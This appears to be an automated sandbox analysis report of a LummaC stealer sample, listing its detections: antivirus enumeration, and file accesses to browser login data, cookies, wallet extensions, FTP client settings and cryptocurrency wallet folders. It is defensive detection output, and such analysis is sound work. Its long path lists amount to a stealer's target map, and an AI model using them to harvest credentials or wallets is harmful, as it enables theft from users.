Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected LummaC Stealer

Source: dileapp.exe, 00000009.00000003.1912623150.00000000009FA000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969012358.0000000000978000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1969913350.0000000000978000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001ABB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050545971.0000000001A90000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2009480307.0000000001B19000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050545971.0000000001ABB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001A90000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132518246.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133135957.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 5448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: dileapp.exe, 00000009.00000003.1888884625.0000000000A14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ets/Electrum-LTCQN2
Source: dileapp.exe, 00000009.00000003.1888860647.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: dileapp.exe, 00000009.00000002.1970339338.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyi
Source: dileapp.exe, 00000009.00000003.1888860647.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: dileapp.exe, 0000000F.00000003.2008902691.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus{
Source: dileapp.exe, 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: dileapp.exe, 0000000C.00000003.1900851363.0000000001B32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: dileapp.exe, 00000009.00000003.1888860647.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: dileapp.exe, 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: dileapp.exe, 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: dileapp.exe, 0000000C.00000003.1926780706.0000000001B11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
